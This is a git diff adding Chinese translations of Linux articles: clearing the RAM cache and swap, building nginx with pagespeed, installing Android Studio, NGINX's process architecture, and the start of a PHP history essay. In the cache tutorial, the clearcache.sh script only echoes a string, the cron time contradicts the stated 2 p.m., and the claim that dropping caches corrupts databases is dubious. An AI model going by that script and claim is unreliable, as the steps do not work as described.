+![](http://i1-news.softpedia-static.com/images/news2/Ubuntu-s-Juju-Now-Supports-systemd-and-Google-Cloud-Platform-483279-2.jpg) + +-------------------------------------------------------------------------------- + +via: http://linux.softpedia.com/blog/Ubuntu-s-Juju-Now-Supports-systemd-and-Google-Cloud-Platform-483279.shtml + +作者:[Marius Nestor][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://news.softpedia.com/editors/browse/marius-nestor +[1]:http://insights.ubuntu.com/2015/06/03/juju-support-for-google-cloud-platform/ +[2]:https://jujucharms.com/docs/devel/reference-release-notes diff --git a/published/201506/20150610 How to Clear RAM Memory Cache Buffer and Swap Space on Linux.md b/published/201506/20150610 How to Clear RAM Memory Cache Buffer and Swap Space on Linux.md new file mode 100644 index 0000000000..2007daec95 --- /dev/null +++ b/published/201506/20150610 How to Clear RAM Memory Cache Buffer and Swap Space on Linux.md @@ -0,0 +1,106 @@ +在Linux上如何清除内存的 Cache、Buffer 和交换空间 +============================================ + +像任何其他的操作系统一样,GNU/Linux 已经实现的内存管理不仅有效,而且更好。但是,如果有任何进程正在蚕食你的内存,而你想要清除它的话,Linux 提供了一个刷新或清除RAM缓存方法。 + +![Clear RAM Cache and Swap in Linux](http://www.tecmint.com/wp-content/uploads/2015/05/Clear-RAM-Cache-in-Linux.jpg) + +### 如何在 Linux 中清除缓存(Cache)?### + +每个 Linux 系统有三种选项来清除缓存而不需要中断任何进程或服务。 + +(LCTT 译注:Cache,译作“缓存”,指 CPU 和内存之间高速缓存。Buffer,译作“缓冲区”,指在写入磁盘前的存储再内存中的内容。在本文中,Buffer 和 Cache 有时候会通指。) + +1. 仅清除页面缓存(PageCache) + + # sync; echo 1 > /proc/sys/vm/drop_caches + +2. 清除目录项和inode + + # sync; echo 2 > /proc/sys/vm/drop_caches + +3. 清除页面缓存,目录项和inode + + # sync; echo 3 > /proc/sys/vm/drop_caches + + +上述命令的说明: + +sync 将刷新文件系统缓冲区(buffer),命令通过“;”分隔,顺序执行,shell在执行序列中的下一个命令之前会等待命令的终止。正如内核文档中提到的,写入到drop_cache将清空缓存而不会杀死任何应用程序/服务,[echo命令][1]做写入文件的工作。 + +如果你必须清除磁盘高速缓存,第一个命令在企业和生产环境中是最安全,`"...echo 1> ..."`只会清除页面缓存。 +在生产环境中不建议使用上面的第三个选项`"...echo 3 > ..."` ,除非你明确自己在做什么,因为它会清除缓存页,目录项和inodes。 + +**在Linux上释放也许被内核所使用的缓冲区(Buffer)和缓存(Cache)是否是个好主意?** + +当你设置许多设定想要检查效果时,如果它实际上是专门针对 I/O 范围的基准测试,那么你可能需要清除缓冲区和缓存。你可以如上所示删除缓存,无需重新启动系统(即无需停机)。 + +Linux被设计成它在寻找磁盘之前到磁盘缓存寻找的方式。如果它发现该资源在缓存中,则该请求不会发送到磁盘。如果我们清理缓存,磁盘缓存就起不到作用了,系统会到磁盘上寻找资源。 + +此外,当清除缓存后它也将减慢系统运行速度,系统会将每一个被请求的资源再次加载到磁盘缓存中。 + + +现在,我们将创建一个 shell 脚本,通过一个 cron 调度任务在每天下午2点自动清除RAM缓存。如下创建一个 shell 脚本 clearcache.sh 并在其中添加以下行: + + #!/bin/bash + # 注意,我们这里使用了 "echo 3",但是不推荐使用在产品环境中,应该使用 "echo 1" + echo "echo 3 > /proc/sys/vm/drop_caches" + +给clearcache.sh文件设置执行权限 + + # chmod 755 clearcache.sh + +现在,当你需要清除内存缓存时只需要调用脚本。 + +现在设置一个每天下午2点的定时任务来清除RAM缓存,打开crontab进行编辑。 + + # crontab -e + +添加以下行,保存并退出。 + + 0 3 * * * /path/to/clearcache.sh + +有关如何创建一个定时任务,更多细节你可以查看我们的文章 [11 个定时调度任务的例子][2]。 + +**在生产环境的服务器上自动清除RAM是否是一个好主意?** + +不!它不是。想想一个情况,当你已经预定脚本在每天下午2点来清除内存缓存。那么其时该脚本会执行并刷新你的内存缓存。在某一天由于某些原因,可能您的网站的在线用户会超过预期地从你的服务器请求资源。 + + +而在这时,按计划调度的脚本运行了,并清除了缓存中的一切。当所有的用户都从磁盘读取数据时,这将导致服务器崩溃并损坏数据库。因此,清除缓存仅在必要时并且在你的预料之中,否则你就是个呆瓜系统管理员。 + +###如何清除Linux的交换空间?### + +如果你想清除掉的空间,你可以运行下面的命令: + + # swapoff -a && swapon -a + +此外,了解有关风险后,您可以将上面的命令添加到cron中。 + +现在,我们将上面两种命令结合成一个命令,写成正确的脚本来同时清除RAM缓存和交换空间。 + + # echo 3 > /proc/sys/vm/drop_caches && swapoff -a && swapon -a && printf '\n%s\n' 'Ram-cache and Swap Cleared' + +或 + + su -c 'echo 3 > /proc/sys/vm/drop_caches' && swapoff -a && swapon -a && printf '\n%s\n' 'Ram-cache and Swap Cleared' + +在测试上面的命令之前,我们在执行脚本前后运行“free -m” 来检查缓存。 + +![Clear RAM Cache and Swap Space](http://www.tecmint.com/wp-content/uploads/2015/05/Clear-RAM-Cache.gif) + +就是这样,如果你喜欢这篇文章,不要忘记向我们提供您宝贵的意见,让我们知道,您认为在企业和生产环境中清除内存缓存和缓冲区是否是一个好主意? + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/clear-ram-memory-cache-buffer-and-swap-space-on-linux/ + +作者:[Avishek Kumar][a] +译者:[strugglingyouth](https://github.com/strugglingyouth) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/avishek/ +[1]:https://linux.cn/article-3592-1.html +[2]:http://www.tecmint.com/11-cron-scheduling-task-examples-in-linux/ \ No newline at end of file diff --git a/published/201506/20150610 How to Install nginx and google pagespeed on Ubuntu 15.04 Vivid Vervet.md b/published/201506/20150610 How to Install nginx and google pagespeed on Ubuntu 15.04 Vivid Vervet.md new file mode 100644 index 0000000000..db6e61da65 --- /dev/null +++ b/published/201506/20150610 How to Install nginx and google pagespeed on Ubuntu 15.04 Vivid Vervet.md @@ -0,0 +1,128 @@ +如何在 Ubuntu 15.04 中安装 nginx 和 google pagespeed +================================================================================ +Nginx (engine-x)是一个开源的高性能 HTTP 服务器、反向代理和 IMAP/POP3 代理服务器。nginx 杰出的功能有:稳定、丰富的功能集、简单的配置和低资源消耗。nginx 被用于一些高性能网站并在站长之间变得越来越流行。本教程会从源码构建一个带有 google paespeed 模块的用于 Ubuntu 15.04 的 nginx .deb 安装包。 + +pagespeed 是一个由 google 开发的 web 服务器模块来加速网站响应时间、优化 html 和减少页面加载时间。ngx_pagespeed 的功能如下: + +- 图像优化:去除元数据、动态缩放、重压缩。 +- CSS 与 JavaScript 压缩、串联、内联、外联。 +- 小资源内联 +- 图像与 JavaScript 延迟加载 +- HTML 重写 +- 缓存生命期插件 + +更多请见 [https://developers.google.com/speed/pagespeed/module/][1]。 + +### 前置要求 ### + +- Ubuntu Server 15.04 64位 +- root 权限 + +本篇我们将要: + +- 安装必备软件包 +- 安装带 ngx_pagespeed 的 nginx +- 测试 + +#### 安装必备包 #### + + sudo apt-get install dpkg-dev build-essential zlib1g-dev libpcre3 libpcre3-dev + +### 安装带 ngx_pagespeed 的 nginx ### + +#### 第一步 - 添加nginx仓库#### + + vim /etc/apt/sources.list.d/nginx.list + +加入下面的行: + + deb http://nginx.org/packages/ubuntu/ trusty nginx + deb-src http://nginx.org/packages/ubuntu/ trusty nginx + +更新仓库: + + sudo apt-get update + +注意:如果你看到信息:GPG error [...] NO_PUBKEY [...] 等等 + +请添加key: + + sudo sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys KEYNUMBER + sudo apt-get update + +####第二步 - 从仓库下载 nginx 1.8#### + + sudo su + cd ~ + mkdir -p ~/new/nginx_source/ + cd ~/new/nginx_source/ + apt-get source nginx + apt-get build-dep nginx + +#### 第三步 - 下载 Pagespeed#### + + cd ~ + mkdir -p ~/new/ngx_pagespeed/ + cd ~/new/ngx_pagespeed/ + ngx_version=1.9.32.3 + wget https://github.com/pagespeed/ngx_pagespeed/archive/release-${ngx_version}-beta.zip + unzip release-${ngx_version}-beta.zip + + cd ngx_pagespeed-release-1.9.32.3-beta/ + wget https://dl.google.com/dl/page-speed/psol/${ngx_version}.tar.gz + tar -xzf 1.9.32.3.tar.gz + +####第四步 - 配置 nginx 来编译 Pagespeed#### + + cd ~/new/nginx_source/nginx-1.8.0/debin/ + vim rules + +在两处 CFLAGS `.configure` 下添加模块: + + --add-module=../../ngx_pagespeed/ngx_pagespeed-release-1.9.32.3-beta \ + +![adding pagespeed to nginx](https://www.howtoforge.com/images/nginx_pagespeed_ubuntu_15_04/big/1.png) + +![adding pagespeed to nginx](https://www.howtoforge.com/images/nginx_pagespeed_ubuntu_15_04/big/2.png) + +####第五步 - 打包 nginx 软件包并安装#### + + cd ~/new/nginx_source/nginx-1.8.0/ + dpkg-buildpackage -b + +dpkg-buildpackage 会编译 ~/new/ngix_source/ 为 nginx.deb。打包完成后,看一下目录: + + cd ~/new/ngix_source/ + ls + +![nginx builded with pagespeed](https://www.howtoforge.com/images/nginx_pagespeed_ubuntu_15_04/big/3.png) + +接着安装 nginx。 + + dpkg -i nginx_1.8.0-1~trusty_amd64.deb + +![Install nginx](https://www.howtoforge.com/images/nginx_pagespeed_ubuntu_15_04/big/4.png) + +### 测试 ### + +运行 nginx -V 测试 nginx 是否已经自带 ngx_pagespeed。 + + nginx -V + +![nginx -V](https://www.howtoforge.com/images/nginx_pagespeed_ubuntu_15_04/big/5.png) + +### 总结 ### + +稳定、快速、开源的 nginx 支持许多不同的优化模块。这其中之一是 google 开发的‘pagespeed’。不像 apache,nginx 模块不是动态加载的,因此你必须在编译之前就选择好需要的模块。 + +-------------------------------------------------------------------------------- + +via: https://www.howtoforge.com/tutorial/how-to-install-nginx-and-google-pagespeed-on-ubuntu-15-04/ + +作者:Muhammad Arul +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[1]:https://developers.google.com/speed/pagespeed/module/ diff --git a/published/201506/20150610 Install Android Studio on Ubuntu 15.04.md b/published/201506/20150610 Install Android Studio on Ubuntu 15.04.md new file mode 100644 index 0000000000..111291ebd2 --- /dev/null +++ b/published/201506/20150610 Install Android Studio on Ubuntu 15.04.md @@ -0,0 +1,62 @@ +在Ubuntu 15.04下安装Android Studio +================================================================================ + +![](http://www.ubuntugeek.com/wp-content/uploads/2015/05/23.png) + +Android Studio是官方为了Android应用开发者而发布的IDE,它基于IntelliJ的IDEA。 + +### Android Studio的功能 ### + +- 灵活的基于Gradle的建构系统 + +- 针对不同手机编译多个版本的apk + +- 代码模板功能构建出各种常用的应用 + +- 支持拖动编辑主题的富布局编辑器 + +- lint工具可以捕捉到应用的性能、可用性、版本冲突或者其他问题 + +- 代码混淆和应用签名功能 + +- 内置 Google Cloud Platform 的支持,可以轻易的融入Google Cloud Messaging 和 App Engine支持 + +- 还有更多 + +### 在 Ubuntu 15.04 上安装 Android Studio ### + +打开terminal,输入以下命令 + + sudo apt-add-repository ppa:paolorotolo/android-studio + sudo apt-get update + sudo apt-get install android-studio + +如果要把Android Studio添加到启动栏,你需要如下操作 + +打开Android Studio,点击Configure选择Create Desktop Entry,这样Android Studio应该在dash中创建快捷方式了。 + +### 截图 ### + +![](http://www.ubuntugeek.com/wp-content/uploads/2015/05/12.png) + +![](http://www.ubuntugeek.com/wp-content/uploads/2015/05/31.png) + +![](http://www.ubuntugeek.com/wp-content/uploads/2015/05/41.png) + +![](http://www.ubuntugeek.com/wp-content/uploads/2015/05/5.png) + +![](http://www.ubuntugeek.com/wp-content/uploads/2015/05/6.png) + +![](http://www.ubuntugeek.com/wp-content/uploads/2015/05/7.png) + +-------------------------------------------------------------------------------- + +via: http://www.ubuntugeek.com/install-android-studio-on-ubuntu-15-04.html + +作者:[ruchi][a] +译者:[NearTan](https://github.com/NearTan) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.ubuntugeek.com/author/ubuntufix \ No newline at end of file diff --git a/published/201506/20150612 Inside NGINX--How We Designed for Performance and Scale.md b/published/201506/20150612 Inside NGINX--How We Designed for Performance and Scale.md new file mode 100644 index 0000000000..ffa8dc6d7e --- /dev/null +++ b/published/201506/20150612 Inside NGINX--How We Designed for Performance and Scale.md @@ -0,0 +1,175 @@ +深入 NGINX: 我们如何设计性能和扩展 +================================================================================ + +NGINX 能在 web 性能中取得领先地位,这是由于其软件设计所决定的。许多 web 服务器和应用程序服务器使用一个简单的线程或基于流程的架构,NGINX 立足于一个复杂的事件驱动的体系结构,使它能够在现代硬件上扩展到成千上万的并发连接。 + +这张[深入 NGINX][1] 的信息图从高层次的流程架构深度挖掘说明了 NGINX 如何在单一进程里保持多个连接。这篇博客进一步详细地解释了这一切是如何工作的。 + +### 知识 – NGINX进程模型 ### + +![Master Process](http://cdn.nginx.com/wp-content/uploads/2015/06/Screen-Shot-2015-06-08-at-12.36.30-PM.png) + +为了更好的理解这个设计,你需要理解 NGINX 如何运行的。NGINX 有一个主进程(它执行特权操作,如读取配置和绑定端口)和一些工作进程与辅助进程。 + + # service nginx restart + * Restarting nginx + # ps -ef --forest | grep nginx + root 32475 1 0 13:36 ? 00:00:00 nginx: master process /usr/sbin/nginx \ + -c /etc/nginx/nginx.conf + nginx 32476 32475 0 13:36 ? 00:00:00 \_ nginx: worker process + nginx 32477 32475 0 13:36 ? 00:00:00 \_ nginx: worker process + nginx 32479 32475 0 13:36 ? 00:00:00 \_ nginx: worker process + nginx 32480 32475 0 13:36 ? 00:00:00 \_ nginx: worker process + nginx 32481 32475 0 13:36 ? 00:00:00 \_ nginx: cache manager process + nginx 32482 32475 0 13:36 ? 00:00:00 \_ nginx: cache loader process + +在四核服务器,NGINX 主进程创建了4个工作进程和两个管理磁盘内容缓存的缓存辅助进程。 + +### 为什么架构很重要? ### + +任何 Unix 应用程序的根本基础是线程或进程。(从 Linux 操作系统的角度来看,线程和进程大多是相同的,主要的区别是他们共享内存的程度。)一个线程或进程是一个自包含的指令集,操作系统可以在一个 CPU 核心上调度运行它们。大多数复杂的应用程序并行运行多个线程或进程有两个原因: + +- 它们可以同时使用更多的计算核心。 +- 线程或进程可以轻松实现并行操作。(例如,在同一时刻保持多连接)。 + +进程和线程消耗资源。他们每个都使用内存和其他系统资源,他们会在 CPU 核心中换入和换出(一个操作可以叫做上下文切换)。大多数现代服务器可以并行保持上百个小型的、活动的线程或进程,但是一旦内存耗尽或高 I/O 压力引起大量的上下文切换会导致性能严重下降。 + +网络应用程序设计的常用方法是为每个连接分配一个线程或进程。此体系结构简单、容易实现,但是当应用程序需要处理成千上万的并发连接时这种结构就不具备扩展性。 + +### NGINX 如何工作? ### + +NGINX 使用一种可预测的进程模式来分配可使用的硬件资源: + +- 主进程(master)执行特权操作,如读取配置和绑定端口,然后创建少量的子进程(如下的三种类型)。 +- 缓存加载器进程(cache loader)在加载磁盘缓存到内存中时开始运行,然后退出。适当的调度,所以其资源需求很低。 +- 缓存管理器进程(cache manager)定期裁剪磁盘缓存中的记录来保持他们在配置的大小之内。 +- 工作进程(worker)做所有的工作!他们保持网络连接、读写内容到磁盘,与上游服务器通信。 + +在大多数情况下 NGINX 的配置建议:每个 CPU 核心运行一个工作进程,这样最有效地利用硬件资源。你可以在配置中包含 [worker_processes auto][2]指令配置: + + worker_processes auto; + +当一个 NGINX 服务处于活动状态,只有工作进程在忙碌。每个工作进程以非阻塞方式保持多连接,以减少上下文交换。 + +每个工作进程是一个单一线程并且独立运行,它们会获取新连接并处理之。这些进程可以使用共享内存通信来共享缓存数据、会话持久性数据及其它共享资源。(在 NGINX 1.7.11 及其以后版本,还有一个可选的线程池,工作进程可以转让阻塞的操作给它。更多的细节,参见“[NGINX 线程池可以爆增9倍性能!][16]”。对于 NGINX Plus 用户,该功能计划在今年晚些时候加入到 R7 版本中。) + +### NGINX 工作进程内部 ### + +![](http://cdn.nginx.com/wp-content/uploads/2015/06/Screen-Shot-2015-06-08-at-12.39.48-PM.png) + +每个 NGINX 工作进程按照 NGINX 配置初始化,并由主进程提供一组监听端口。 + +NGINX 工作进程首先在监听套接字上等待事件([accept_mutex][3] 和[内核套接字分片][4])。事件被新进来的连接初始化。这些连接被分配到一个状态机 – HTTP 状态机是最常用的,但 NGINX 也实现了流式(原始 TCP )状态机和几种邮件协议(SMTP、IMAP和POP3)的状态机。 + +![Internet Requests](http://cdn.nginx.com/wp-content/uploads/2015/06/Screen-Shot-2015-06-08-at-12.40.32-PM.png) + +状态机本质上是一组指令,告诉 NGINX 如何处理一个请求。大多数 web 服务器像 NGINX 一样使用类似的状态机来实现相同的功能 - 区别在于实现。 + +### 调度状态机 ### + +把状态机想象成国际象棋的规则。每个 HTTP 事务是一个象棋游戏。一方面棋盘是 web 服务器 —— 一位大师可以非常迅速地做出决定。另一方面是远程客户端 —— 在一个相对较慢的网络下 web 浏览器访问网站或应用程序。 + +不管怎样,这个游戏规则很复杂。例如,web 服务器可能需要与各方沟通(代理一个上游的应用程序)或与身份验证服务器对话。web 服务器的第三方模块甚至可以扩展游戏规则。 + +#### 一个阻塞状态机 #### + +回忆我们之前的描述,一个进程或线程就像一套独立的指令集,操作系统可以在一个 CPU 核心上调度运行它。大多数 web 服务器和 web 应用使用每个连接一个进程或者每个连接一个线程的模式来玩这个“象棋游戏”。每个进程或线程都包含玩完“一个游戏”的指令。在服务器运行该进程的期间,其大部分的时间都是“阻塞的” —— 等待客户端完成它的下一步行动。 + +![Blocking I/O](http://cdn.nginx.com/wp-content/uploads/2015/06/Screen-Shot-2015-06-08-at-12.40.52-PM.png) + +1. web 服务器进程在监听套接字上监听新连接(客户端发起新“游戏”) +1. 当它获得一个新游戏,就玩这个游戏,每走一步去等待客户端响应时就阻塞了。 +1. 游戏完成后,web 服务器进程可能会等待是否有客户机想要开始一个新游戏(这里指的是一个“保持的”连接)。如果这个连接关闭了(客户端断开或者发生超时),web 服务器进程会返回并监听一个新“游戏”。 + +要记住最重要的一点是每个活动的 HTTP 连接(每局棋)需要一个专用的进程或线程(象棋高手)。这个结构简单容并且易扩展第三方模块(“新规则”)。然而,还是有巨大的不平衡:尤其是轻量级 HTTP 连接其实就是一个文件描述符和小块内存,映射到一个单独的线程或进程,这是一个非常重量级的系统对象。这种方式易于编程,但太过浪费。 + +#### NGINX是一个真正的象棋大师 #### + +也许你听过[同时表演赛][5]游戏,有一个象棋大师同时对战许多对手? + +![Kiril Georgiev](http://cdn.nginx.com/wp-content/uploads/2015/06/Kiril-Georgiev.gif) + +*[列夫·吉奥吉夫在保加利亚的索非亚同时对阵360人][6]。他的最终成绩是284胜70平6负。* + +这就是 NGINX 工作进程如何“下棋”的。每个工作进程(记住 - 通常每个CPU核心上有一个工作进程)是一个可同时对战上百人(事实是,成百上千)的象棋大师。 + +![Event-driven Architecture](http://cdn.nginx.com/wp-content/uploads/2015/06/Screen-Shot-2015-06-08-at-12.41.13-PM.png) + +1. 工作进程在监听和连接套接字上等待事件。 +1. 事件发生在套接字上,并且由工作进程处理它们: + - 在监听套接字的事件意味着一个客户端已经开始了一局新棋局。工作进程创建了一个新连接套接字。 + - 在连接套接字的事件意味着客户端已经下了一步棋。工作进程及时响应。 + +一个工作进程在网络流量上从不阻塞,等待它的“对手”(客户端)做出反应。当它下了一步,工作进程立即继续其他的游戏,在那里工作进程正在处理下一步,或者在门口欢迎一个新玩家。 + +#### 为什么这个比阻塞式多进程架构更快? #### + +NGINX 每个工作进程很好的扩展支撑了成百上千的连接。每个连接在工作进程中创建另外一个文件描述符和消耗一小部分额外内存。每个连接有很少的额外开销。NGINX 进程可以固定在某个 CPU 上。上下文交换非常罕见,一般只发生在没有工作要做时。 + +在阻塞方式,每个进程一个连接的方法中,每个连接需要大量额外的资源和开销,并且上下文切换(从一个进程切换到另一个)非常频繁。 + +更详细的解释,看看这篇关于 NGINX 架构的[文章][7],它由NGINX公司开发副总裁及共同创始人 Andrew Alexeev 写的。 + +通过适当的[系统优化][8],NGINX 的每个工作进程可以扩展来处理成千上万的并发 HTTP 连接,并能脸不红心不跳的承受峰值流量(大量涌入的新“游戏”)。 + +### 更新配置和升级 NGINX ### + +NGINX 的进程体系架构使用少量的工作进程,有助于有效的更新配置文件甚至 NGINX 程序本身。 + +![Updating Configuration](http://cdn.nginx.com/wp-content/uploads/2015/06/Screen-Shot-2015-06-08-at-12.41.33-PM.png) + +更新 NGINX 配置文件是非常简单、轻量、可靠的操作。典型的就是运行命令 `nginx –s reload`,所做的就是检查磁盘上的配置并发送 SIGHUP 信号给主进程。 + +当主进程接收到一个 SIGHUP 信号,它会做两件事: + +- 重载配置文件和分支出一组新的工作进程。这些新的工作进程立即开始接受连接和处理流量(使用新的配置设置) +- 通知旧的工作进程优雅的退出。工作进程停止接受新的连接。当前的 http 请求一旦完成,工作进程就彻底关闭这个连接(那就是,没有残存的“保持”连接)。一旦所有连接关闭,这个工作进程就退出。 + +这个重载过程能引发一个 CPU 和内存使用的小峰值,但是跟活动连接加载的资源相比它一般不易察觉。每秒钟你可以多次重载配置(很多 NGINX 用户都这么做)。非常罕见的情况下,有很多世代的工作进程等待关闭连接时会发生问题,但即使是那样也很快被解决了。 + +NGINX 的程序升级过程中拿到了高可用性圣杯 —— 你可以随随时更新这个软件,不会丢失连接,停机,或者中断服务。 + +![New Binary](http://cdn.nginx.com/wp-content/uploads/2015/06/Screen-Shot-2015-06-08-at-12.41.51-PM.png) + +程序升级过程类似于平滑重载配置的方法。一个新的 NGINX 主进程与原主进程并行运行,然后他们共享监听套接字。两个进程都是活动的,并且各自的工作进程处理流量。然后你可以通知旧的主进程和它的工作进程优雅的退出。 + +整个过程的详细描述在 [NGINX 管理][9]。 + +### 结论 ### + +[深入 NGINX 信息图][10] 提供一个 NGINX 功能实现的高层面概览,但在这简单的解释的背后是超过十年的创新和优化,使得 NGINX 在广泛的硬件上提供尽可能最好的性能同时保持了现代 Web 应用程序所需要的安全性和可靠性。 + +如果你想阅读更多关于NGINX的优化,查看这些优秀的资源: + +- [安装和 NGINX 性能调优][11] (webinar; Speaker Deck 上的[讲义][12]) +- [NGINX 性能调优][13] +- [开源应用架构: NGINX 篇][14] +- [NGINX 1.9.1 中的套接字分片][15] (使用 SO_REUSEPORT 套接字选项) + +-------------------------------------------------------------------------------- + +via: http://nginx.com/blog/inside-nginx-how-we-designed-for-performance-scale/ + +作者:[Owen Garrett][a] +译者:[wyangsun](https://github.com/wyangsun) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://nginx.com/author/owen/ +[1]:http://nginx.com/resources/library/infographic-inside-nginx/ +[2]:http://nginx.org/en/docs/ngx_core_module.html#worker_processes +[3]:http://nginx.org/en/docs/ngx_core_module.html#accept_mutex +[4]:http://nginx.com/blog/socket-sharding-nginx-release-1-9-1/ +[5]:http://en.wikipedia.org/wiki/Simultaneous_exhibition +[6]:http://gambit.blogs.nytimes.com/2009/03/03/in-chess-records-were-made-to-be-broken/ +[7]:http://www.aosabook.org/en/nginx.html +[8]:http://nginx.com/blog/tuning-nginx/ +[9]:http://nginx.org/en/docs/control.html +[10]:http://nginx.com/resources/library/infographic-inside-nginx/ +[11]:http://nginx.com/resources/webinars/installing-tuning-nginx/ +[12]:https://speakerdeck.com/nginx/nginx-installation-and-tuning +[13]:http://nginx.com/blog/tuning-nginx/ +[14]:http://www.aosabook.org/en/nginx.html +[15]:http://nginx.com/blog/socket-sharding-nginx-release-1-9-1/ +[16]:http://nginx.com/blog/thread-pools-boost-performance-9x/ diff --git a/published/201506/20150615 PHP at 20--From pet project to powerhouse.md b/published/201506/20150615 PHP at 20--From pet project to powerhouse.md new file mode 100644 index 0000000000..55470bd389 --- /dev/null +++ b/published/201506/20150615 PHP at 20--From pet project to powerhouse.md @@ -0,0 +1,84 @@ +PHP 20岁了:从玩具到巨头 +============================================================================= + +> 曾经的‘丑小鸭工程’已经转变为一个互联网巨头,感谢灵活、务实和充满活力的开发者社区。 + +当Rasmus Lerdorf发布“[一个用C写的小型紧凑的CGI可执行程序集合][2]”时, 他没有想到他的创造会对网络发展产生多大的影响。今年在Miami举行的SunshinePHP大会上,Lerdorf做了开场演讲,他自嘲到,“在1995年的时候,我以为我已经在 Web 上解除了C API的束缚。显然,事情并非那样,我们全成了C程序员了。” + +![](http://images.techhive.com/images/article/2015/06/13049862325_8c97a11878_z-100590275-primary.idge.jpg) + +题图来自: [Steve Jurvetson via Flickr][1] + +实际上,当Lerdorf发布个人主页工具(Personal Home Page Tools,即 PHP 名字的来源)的1.0版本时,那时的网络还是如此的年轻。直到那年的十一月份HTML 2.0还没有公布,而且HTTP/1.0也是次年的五月份才出现。那时,NCSA HTTPd是使用最广泛的网络服务器,而网景的Navigator则是最流行的网络浏览器,八月份的时候,IE1.0才刚刚出现。换句话说,PHP的开端刚好撞上了浏览器战争的前夜。 + +早些时候,我们谈论了一大堆关于PHP对网络发展的影响。回到那时候,当说到用于网络应用的服务器端处理,我们的选择是有限的。PHP满足了我们对于一种工具的需求,这就是可以使得我们在网络上做一些动态的事情。它的实用的灵活性只受限于我们的想像力,PHP从那时起便与网络共同成长。现在,PHP占据了网络语言的超过80%的份额,已经是成熟的脚本语言,特别适合解决网络问题。她独一无二的血统讲述了一个故事,实用高于理论,解决问题高于纯正。 + +### 把我们钩住的网络魔力 ### + +PHP一开始并不是一门编程语言,从她的设计就很明显不是 -- 或者她本来就缺乏相关特性,正如那些贬低者指出的那样。最初,她是作为一种API帮助网络开发者能够接入底层的C语言封装库。第一个版本是一组小的CGI可执行程序,提供表单处理功能,可以访问查询参数和mSQL数据库。而且她可以如此容易地处理一个网络应用的数据库,证明了其在激发我们对于PHP的兴趣和PHP后来的支配地位的关键作用。 + +到了第二版 -- 即 PHP/FI -- 数据库的支持已经扩展到包括PostgreSQL、MySQL、Oracle、Sybase等等。她通过封装他们的C语言库来支持各种数据库,将他们作为PHP库的一部分。PHP/FI也封装了GD库,可以创建并管理GIF图像。她可以作为一个Apache模块运行,或者编译进FastCGI支持,并且她引入的 PHP 编程语言支持变量、数组、语言结构和函数。对于那个时候大多数在网络这块工作的人来说,PHP是我们一直在寻求的那款“胶水”。 + +当PHP吸纳越来越多的编程语言功能,演变为第三版和之后的版本时,她从来没有失去这种黏合的特性。通过仓库如PECL(PHP Extension Community Library),PHP可以把各种库都连在一起,将他们的函数引入到PHP层面。这种将组件结合在一起的能力,成为PHP之美的一个重要方面,使之不会受限于其源代码上。 + +### 网络,一个码农们的社区 ### + +PHP在网络发展上的持续影响并不局限于能用这种语言干什么。PHP如何完成工作,谁参与进来 -- 这些都是PHP传奇中很重要的部分。 + +早在1997年,PHP的用户群体开始形成。其中最早的是美国中西部PHP用户组(后来叫做 Chiago PHP),并[1997年二月份的时候举行了第一次聚会][4]。这是一个充满生气、饱含激情的开发者社区形成的开端,聚合成一种吸引力 -- 在网络上的一个小工具就可以帮助他们解决问题。PHP这种普遍存在的特性使得她成为网络开发一个很自然的选择。在分享主导的世界里,她开始盛行,而且低入的门槛对于许多早期的网络开发者来说是十分有吸引力的。 + +伴随着社区的成长,为开发者带来了一堆工具和资源。这一年是2000年,出现了PHP的一个转折点,它见证了第一次PHP开发者大会,聚集了编程语言的核心开发者,他们在Tel Aviv见面,讨论即将到来的4.0版本的发布。PHP扩展和应用仓库(PEAR)也于2000年发起,它提供了高质量的用户代码包,依据标准和最佳操作。第一届PHP大会PHP Kongress不久之后在德国举行。[PHPDeveloper.org][5]也随后上线,直到今天,这都是PHP社区里最权威的新闻资源。 + +这个社区的势头表明了接下来几年里PHP成长的关键所在。随着网络开发产业的爆发,PHP也获得发展。PHP开始为更多、更大的网站提供动力。越来越多的用户群在世界各地开花。邮件列表、在线论坛、IRC、大会,以及如php[architect]、德国PHP杂志、国际PHP杂志等商业杂志 -- PHP社区的活力在完成网络工作的方式上有极其重要的影响:共同地,开放地,倡导代码共享。 + +然后,在10年前,PHP 5发布后不久,在网络发展史上一个有趣地事情发生了,它导致了PHP社区如何构建库和应用的转变:Ruby on Rails发布了。 + +### 框架的异军突起 ### + +用于Ruby编程语言的Ruby on Rails框架在MVC(模型-视图-控制)架构模型上获得了不断增长的焦点与关注。Mojavi PHP框架几年前已经使用MVC模型了,但是Ruby on Rails的高明之处在于巩固了MVC。框架引爆了PHP社区,并且框架已经改变了开发者构建PHP应用程序的方式。 + +许多重要的项目和发展已经发端,这归功于PHP社区框架的生长。[PHP框架互用性组织][6]成立于2009年,致力于在框架间建立编码标准,命名约定与最佳操作。编纂这些标准和操作帮助为开发者在使用成员项目的代码时提供了越来越多的互用性软件。互用性意味着每个框架可以拆分为组块和独立的库,也可以作为整体的框架在一起使用。互用性带来了另一个重要的里程碑:Composer项目于2011年诞生了。 + +从Node.js的NPM和Ruby的Bundler获得灵感,Composer开辟了PHP应用开发的新纪元,创造了一次PHP“文艺复兴”。它激发了包互用性、标准命名约定、编码标准的采用、覆盖测试的提升。它是任何现代PHP应用中的一个基本工具。 + +### 加速和创新的需要 ### + 